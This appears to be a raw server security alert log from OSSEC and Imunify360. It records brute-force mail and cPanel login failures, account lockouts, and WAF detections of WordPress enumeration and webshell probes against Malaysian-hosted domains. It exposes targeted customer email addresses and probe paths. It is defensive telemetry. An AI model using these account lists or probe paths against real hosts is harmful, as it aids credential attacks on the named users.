rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:47:56 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63901: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.229
country_id: 337996
description:
2026-01-31 23:47:10 dovecot_login authenticator failed for H=([196.189.124.229]) [196.189.124.229]:41394: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-01-31 23:47:42 dovecot_login authenticator failed for H=(wohcheong.com.my) [61.50.119.110]:36960: 535 Incorrect authentication data (set_id=nologin)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:47:48 dovecot_login authenticator failed for H=(ou6Zocxjm) [158.94.208.215]:49682: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.218
country_id: 337996
description:
2026-01-31 23:47:02 dovecot_login authenticator failed for H=([196.189.124.218]) [196.189.124.218]:35988: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:48:36 dovecot_login authenticator failed for H=(LWfREygT6N) [178.16.54.138]:49636: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
country_id: 290557
description:
2026-01-31 23:48:26 dovecot_login authenticator failed for H=([20.46.45.121]) [20.46.45.121]:51086: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:48:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50440: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:48:05 dovecot_login authenticator failed for H=(9Z2Cb849) [158.94.208.215]:60583: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.50.119.110
country_id: 1814991
description:
2026-01-31 23:48:07 dovecot_login authenticator failed for H=(wohcheong.com.my) [61.50.119.110]:41208: 535 Incorrect authentication data (set_id=service@wohcheong.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:49:43 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:49:06 dovecot_login authenticator failed for H=(TRYy3s7Mq) [158.94.208.215]:52565: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:49:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49201: 535 Incorrect authentication data (set_id=test@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:49:12 dovecot_login authenticator failed for H=(Uk9DVyl) [178.16.54.138]:62745: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.114
country_id: 6252001
description:
2026-01-31 23:49:21 190027 [Warning] Aborted connection 190027 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.114' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.52.114
country_id: 1269750
description:
2026-01-31 23:49:26 dovecot_login authenticator failed for H=(nsg-corporate-255.223.187.122.airtel.in) [182.79.52.114]:43900: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:49:33 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:65268: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-01-31 23:49:42 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:39520: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:50:02 dovecot_login authenticator failed for H=(F5RLmqHv) [158.94.208.215]:51469: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:50:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:50:26 dovecot_login authenticator failed for H=(Coon7it) [178.16.54.138]:63707: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 88.239.81.181
country_id: 298795
description:
2026-01-31 23:50:34 dovecot_plain authenticator failed for H=(P1G39) [88.239.81.181]:53623: 535 Incorrect authentication data (set_id=hafizi@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.32.213.178
country_id: 1819730
description:
2026-01-31 23:51:20 dovecot_plain authenticator failed for H=(4imfww2d2qjk49cqtq727j0c) [152.32.213.178]:41206: 535 Incorrect authentication data (set_id=eeyh@tujusetia.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:51:40 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:51:03 dovecot_login authenticator failed for H=(wDaTSO) [178.16.54.138]:55542: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 51.89.25.52
country_id: 2635167
domain: smartcable.com.my
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.71||T:APACHE||REQUEST_URI:/wp-content/plugins/hdinvoice3/readme.txt||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.41.84.98
country_id: 798544
description:
2026-01-31 23:52:01 dovecot_login authenticator failed for H=(98.84.41.31.ip4.feromedia.eu) [31.41.84.98]:54798: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:51:03 dovecot_login authenticator failed for H=(oGn3v72Ju) [158.94.208.215]:59719: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:52:21 dovecot_login authenticator failed for H=(wrKhLvC2J) [158.94.208.215]:51480: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-01-31 23:52:56 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:44614: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:52:19 dovecot_login authenticator failed for H=(b1b9UKQAFS) [178.16.54.138]:63717: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-01-31 23:52:28 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:42776: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:52:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.206
country_id: 1269750
description:
2026-01-31 23:52:10 dovecot_login authenticator failed for H=([128.185.140.225]) [182.95.176.206]:46838: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:53:17 dovecot_login authenticator failed for H=(jMqIj4X9) [158.94.208.215]:55817: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.118
country_id: 1814991
description:
2026-01-31 23:53:22 dovecot_login authenticator failed for H=([111.61.175.118]) [111.61.175.118]:34832: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.203.231.220
country_id: 2464461
description:
2026-01-31 23:53:40 dovecot_login authenticator failed for H=([196.203.231.220]) [196.203.231.220]:48366: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:53:52 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:51839: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 158.94.208.215
country_id: 2921044
description:
Jan 31 23:53:37 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account info has been temporarily locked by Imunify PAM(158.94.208.215)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:53:36 dovecot_login authenticator failed for H=(U2s5vv16) [178.16.54.138]:60127: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.149.79.127
country_id: 6252001
description:
2026-01-31 23:53:39 dovecot_login authenticator failed for H=([24.149.79.127]) [24.149.79.127]:51018: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-31 23:53:40 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:45362: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.226.118
country_id: 1269750
description:
2026-01-31 23:53:47 dovecot_login authenticator failed for H=([27.123.119.219]) [182.95.226.118]:32894: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:53:56 dovecot_login authenticator failed for H=(LcZCzw6lr) [158.94.208.215]:51390: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.223.245.120
country_id: 1814991
description:
2026-01-31 23:54:25 dovecot_login authenticator failed for H=(120.245.223.60.adsl-pool.sx.cn) [60.223.245.120]:32896: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-01-31 23:54:52 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:60811: 535 Incorrect authentication data (set_id=test@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:54:08 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50286: 535 Incorrect authentication data (set_id=testing@wcc.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.76.191.29
country_id: 1819730
description:
2026-01-31 23:54:16 dovecot_login authenticator failed for H=029.191.76.219.static.netvigator.com [219.76.191.29]:53420: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:54:18 dovecot_login authenticator failed for H=(O98ptZr) [158.94.208.215]:50802: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.87
country_id: 1269750
description:
2026-01-31 23:54:24 dovecot_login authenticator failed for H=(nsg-corporate-87.229.187.122.airtel.in) [122.187.229.87]:51780: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 152.58.180.111
country_id: 1269750
domain: krisfood.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:74568.krisfood.com||ServerName:krisfood.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d1209dfa4ad690700286bb92d9b45caa35dfd3cb||Title:0xa56d9949||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:54:14 dovecot_login authenticator failed for H=(WmUsU2ckU) [178.16.54.138]:57909: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-31 23:54:49 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:60218: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-01-31 23:54:58 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:47180: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:55:14 dovecot_login authenticator failed for H=(9x08JT7S) [158.94.208.215]:57957: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:55:30 dovecot_login authenticator failed for H=(zmMTjySDa) [178.16.54.138]:50172: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:55:08 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:59133: 535 Incorrect authentication data (set_id=testing@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 23:55:34 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:63585: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 23:56:05 H=([64.89.160.15]) [64.89.160.15]:53543 F=<drdavid00r5@outlook.com> rejected RCPT <janice@smartcable.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:56:08 dovecot_login authenticator failed for H=(RHGf5Yzd) [178.16.54.138]:58577: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 23:56:02 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:61402: 535 Incorrect authentication data (set_id=testing@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:56:15 dovecot_login authenticator failed for H=(gXzLbnTRl) [158.94.208.215]:57281: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.138.53.19
country_id: 1643084
description:
2026-01-31 23:57:38 dovecot_login authenticator failed for H=([103.138.53.19]) [103.138.53.19]:33267: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.119.50
country_id: 1269750
description:
2026-01-31 23:57:41 dovecot_login authenticator failed for H=(aes-static-089.153.22.125.airtel.in) [182.95.119.50]:58198: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:57:24 dovecot_login authenticator failed for H=(mWND1EN) [178.16.54.138]:60247: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.216.118.192
country_id: 1562822
description:
2026-01-31 23:57:29 dovecot_plain authenticator failed for H=(a7h9v89szbbawtwbftz3trmx1vk80u) [103.216.118.192]:41602: 535 Incorrect authentication data (set_id=itdept@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:57:11 dovecot_login authenticator failed for H=(BZFsai69) [158.94.208.215]:52521: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.186.193.149
country_id: 1643084
description:
2026-01-31 23:57:27 dovecot_login authenticator failed for H=([103.186.193.149]) [103.186.193.149]:60456: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-01-31 23:57:54 dovecot_login authenticator failed for H=([220.67.139.254]) [221.145.5.14]:59214: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.100.117.66
country_id: 6252001
description:
[2026-01-31 23:58:26 +0800] info [cpaneld] 68.100.117.66 - vcb "GET /login/?login_only=1&user=vcb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vcb (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.36.22
country_id: 1835841
description:
2026-01-31 23:58:25 dovecot_login authenticator failed for H=([125.61.36.22]) [125.61.36.22]:55024: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.19.189.228
country_id: 6252001
description:
[2026-01-31 23:58:36 +0800] info [cpaneld] 149.19.189.228 - vcbcomm "GET /login/?login_only=1&user=vcbcomm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vcbcomm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.169.249.132
country_id: 6252001
description:
[2026-01-31 23:58:45 +0800] info [cpaneld] 69.169.249.132 - vcbco "GET /login/?login_only=1&user=vcbco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vcbco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.255.91.64
country_id: 6252001
description:
[2026-01-31 23:58:49 +0800] info [cpaneld] 96.255.91.64 - vcbc "GET /login/?login_only=1&user=vcbc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vcbc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.168.199.91
country_id: 6252001
description:
[2026-01-31 23:58:56 +0800] info [cpaneld] 67.168.199.91 - vc "GET /login/?login_only=1&user=vc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vc (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.51.66
country_id: 1522867
description:
2026-01-31 23:58:04 dovecot_login authenticator failed for H=2.133.51.66.dynamic.telecom.kz [2.133.51.66]:43712: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 209.38.249.149
country_id: 2921044
domain: thinkcloud.com.my
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/vendor/phpunit/phpunit/phpunit.xsd||User:thinkcloudadmin||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:58:29 dovecot_login authenticator failed for H=(MkOh7w7Xpl) [158.94.208.215]:55847: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.206.151.5
country_id: 6252001
description:
[2026-01-31 23:58:39 +0800] info [cpaneld] 73.206.151.5 - vcbcom "GET /login/?login_only=1&user=vcbcom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.19
country_id: 337996
description:
2026-01-31 23:58:04 dovecot_login authenticator failed for H=([196.190.180.18]) [196.190.180.19]:17048: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:58:12 dovecot_login authenticator failed for H=(FDNBCw) [158.94.208.215]:65286: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 72.183.145.45
country_id: 6252001
description:
[2026-01-31 23:58:33 +0800] info [cpaneld] 72.183.145.45 - vcbcommy "GET /login/?login_only=1&user=vcbcommy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user vcbcommy (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:58:02 dovecot_login authenticator failed for H=(ETkZtrFTtD) [178.16.54.138]:63306: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 162.233.243.171
country_id: 6252001
description:
[2026-01-31 23:58:29 +0800] info [cpaneld] 162.233.243.171 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 23:59:20 dovecot_login authenticator failed for H=(uqDyHB) [178.16.54.138]:64344: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-01-31 23:59:08 dovecot_login authenticator failed for H=(XXix8QGq) [158.94.208.215]:57155: 535 Incorrect authentication data (set_id=inquiry)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.37.90
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=103827 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:00:37 dovecot_login authenticator failed for H=(LFf5Jdu) [158.94.208.215]:56224: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:00:36 dovecot_login authenticator failed for H=(qVWh7X) [178.16.54.138]:52944: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 13.75.54.243
country_id: 1819730
domain: aircarbonic.com.my
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home2/aircarbonicadmin/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 00:01:11 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:51248: 535 Incorrect authentication data (set_id=shihui@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:01:19 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49848: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:01:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 00:01:41 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:52082: 535 Incorrect authentication data (set_id=shihui)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: aircarbonic.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/class.php||SC:/home2/aircarbonicadmin/public_html/images/class.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:01:01 dovecot_login authenticator failed for H=(vjuzLpYFY) [158.94.208.215]:51418: 535 Incorrect authentication data (set_id=inquiry)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:01:15 dovecot_login authenticator failed for H=(AolVlZC14) [178.16.54.138]:60615: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.101
country_id: 6252001
description:
2026-02-01  0:02:12 190454 [Warning] Aborted connection 190454 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.101' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 00:02:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50359: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-02-01 00:02:31 dovecot_login authenticator failed for H=(11HWr3oUy7) [178.16.54.138]:60223: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.156.80.11
country_id: 1269750
description:
2026-02-01 00:02:34 dovecot_login authenticator failed for H=([182.156.80.11]) [182.156.80.11]:49530: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.215
country_id: 2921044
description:
Feb  1 00:02:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account inquiry has been locked for the attacker IP 158.94.208.215


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.90.185.63
country_id: 2921044
description:
2026-02-01 00:02:19 dovecot_login authenticator failed for H=(ADMIN) [77.90.185.63]:58232: 535 Incorrect authentication data (set_id=testing@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.85.69.22
country_id: 2017370
description:
2026-02-01 00:02:53 dovecot_login authenticator failed for H=(22.69.85.194.in-addr.arpa) [194.85.69.22]:52056: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.100.212.177
country_id: 1814991
description:
2026-02-01 00:02:56 dovecot_login authenticator failed for H=([180.100.212.177]) [180.100.212.177]:38048: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:02:13 dovecot_login authenticator failed for H=(zHXoaC) [158.94.208.215]:53438: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-02-01 00:03:19 H=([64.89.160.15]) [64.89.160.15]:50376 F=<essenas@outlook.com> rejected RCPT <roz@af-sb.com>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.215
country_id: 2921044
description:
2026-02-01 00:03:01 dovecot_login authenticator failed for H=(jDGhZJ) [158.94.208.215]:61609: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
